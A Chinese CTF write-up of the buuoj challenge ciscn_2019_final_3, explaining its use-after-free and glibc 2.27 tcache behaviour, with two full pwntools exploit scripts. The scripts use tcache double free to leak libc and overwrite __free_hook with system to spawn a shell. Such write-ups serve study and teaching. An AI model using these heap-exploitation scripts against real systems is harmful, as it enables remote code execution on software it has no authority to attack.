buuoj刷题记录 - ciscn_2019_final_3

看了大佬们的思路才做出来的,这里只记录一下做题中踩的坑。

1.add函数
在这里插入图片描述
2.del函数
在这里插入图片描述
free后没有把数组元素标记为0,存在UAF漏洞.
思路是:1.double free 改fd 到 另一个chunk 的首地址处,然后修改chunksize ,原因是程序限制了分配大小为120字节,free到unsorted bin里面。
2.free chunk 到unsorted bin里面
3.double free 修改fd 到第二步中的chunk,之后便可以malloc 到unsorted bin处,然后泄露libc
4.继续利用double free改fd到free_hook,改为system即可。

1.tcache bin的一些注意事项:
与size有关的一些:

		有64个bin	, 每个bin里面最多有7个 chunk
		每个bin 的chunk 大小(向下取整 ,& ~(0xf)):
			0x20,0x30,.........0x400,0x410 
		0x413,0x415...之类的size ,在向下取整对齐后也是属于0x410的
		要想使chunk不进入tcache bin,就要满足:
		对应bin里面已经有7个chunk,或者该chunk 的size >= 0x420	
		还有一点要注意count 数组 是无符号的, 0的时候还可以get一个,但是变成 -1 后就无法put 了.

安全检查:

typedef struct tcache_entry
{
  struct tcache_entry *next;          //只有一个成员,下一个chunk的地址+prev_size + cur_size ,
                                      //2.31新增了 key 用于double free check.
} tcache_entry;

glibc 2.27里面的tcache_entry只有一个next指针,2.31里面还有一个key 用于检查double free.
2.27 没有double free的检查,随便搞就可以了

2.fastbin
默认最大chunk 是0x80 (向下取整对齐后的结果),必须使Chunk 的 size >= 0x90 才能丢到unsorted bin里面.

3.注意free chunk的时候会检查下一个chunk的大小.

exp:

from pwn import*
#sh = process('./pwn')
sh = remote('node4.buuoj.cn',29672)

def add(idx,size,payload):
    sh.sendlineafter(b'2. remove\n',b'1')
    sh.sendlineafter(b'input the index',str(idx).encode())
    sh.sendlineafter(b'input the size',str(size).encode())
    sh.sendlineafter(b'now you can write something',payload)
    sh.recvuntil(b'gift :')
    return int(sh.recvline()[:-1],16)

def free(idx):
    sh.sendlineafter(b'2. remove\n',b'2')
    sh.sendlineafter(b'input the index',str(idx).encode())

#泄露libc
#0x20
add(0,0x10,b'emmm')     #double free.

#0x421

nextchunk = add(1,0x10,'emmm') - 0x10
for i in range(8):
    add(2+i,0x70,'emmm')
#阻止合并到top chunk
add(11,0x10,'emmm')
#
log.success('next chunk %x',nextchunk)

free(0)
free(1)
free(0)
free(1)
#
add(12,0x10,p64(nextchunk))
add(13,0x10,'emm')
add(14,0x10,'emm')
add(15,0x10,p64(0) + p64(0x421))
#
free(1)     #-->unsorted bin

# #
free(11)
free(0)
free(11)
free(0)
free(11)


add(16,0x10,p64(nextchunk + 0x10))
add(17,0x10,'emm')
add(18,0x10,'emm')
add(19,0x10,'emm')


libc_base = add(20,0x10,'\x00') - 0x3ebca0
system = libc_base + 0x4f440
free_hook = libc_base + 0x3ed8e8

log.success('libc_base :%x ',libc_base)

free(0)
free(11)
free(0)
free(11)

add(21,0x10,p64(free_hook))
add(22,0x10,b'/bin/sh')         #22
add(23,0x10,b'emm')
add(24,0x10,p64(system))

#gdb.attach(sh)
sh.interactive()

做这道题的时候我以为tcache bin会检测出连续两个chunk 的double free. 刚才又看了一下源码才发现没有这个检查.

修改了一下exp:

from pwn import*
sh = process('./pwn')
#sh = remote('node4.buuoj.cn',29672)

def add(idx,size,payload):
    sh.sendlineafter(b'2. remove\n',b'1')
    sh.sendlineafter(b'input the index',str(idx).encode())
    sh.sendlineafter(b'input the size',str(size).encode())
    sh.sendlineafter(b'now you can write something',payload)
    sh.recvuntil(b'gift :')
    return int(sh.recvline()[:-1],16)

def free(idx):
    sh.sendlineafter(b'2. remove\n',b'2')
    sh.sendlineafter(b'input the index',str(idx).encode())

#泄露libc
#0x20
add(0,0x10,b'emmm')     #double free.

#0x421

nextchunk = add(1,0x10,'emmm') - 0x10
for i in range(8):
    add(2+i,0x70,'emmm')
#阻止合并到top chunk
add(11,0x10,'emmm')
#
log.success('next chunk %x',nextchunk)

free(0)
free(0)
free(0)
#
add(12,0x10,p64(nextchunk))
add(13,0x10,'emm')
add(14,0x10,p64(0) + p64(0x421))
#
free(1)     #-->unsorted bin

#gdb.attach(sh)

# 修改fd 到unsorted bin
free(0)
free(0)
free(0)
free(0)

#
add(16,0x10,p64(nextchunk + 0x10))
add(17,0x10,'emm')
add(18,0x10,'emm')
libc_base = add(19,0x10,'\x00') - 0x3ebca0
system = libc_base + 0x4f440
free_hook = libc_base + 0x3ed8e8

log.success('libc_base :%x ',libc_base)

#gdb.attach(sh)
free(0)
free(0)
free(0)

add(20,0x10,p64(free_hook))
add(21,0x10,b'/bin/sh')
add(22,0x10,p64(system))

sh.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Suspend.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值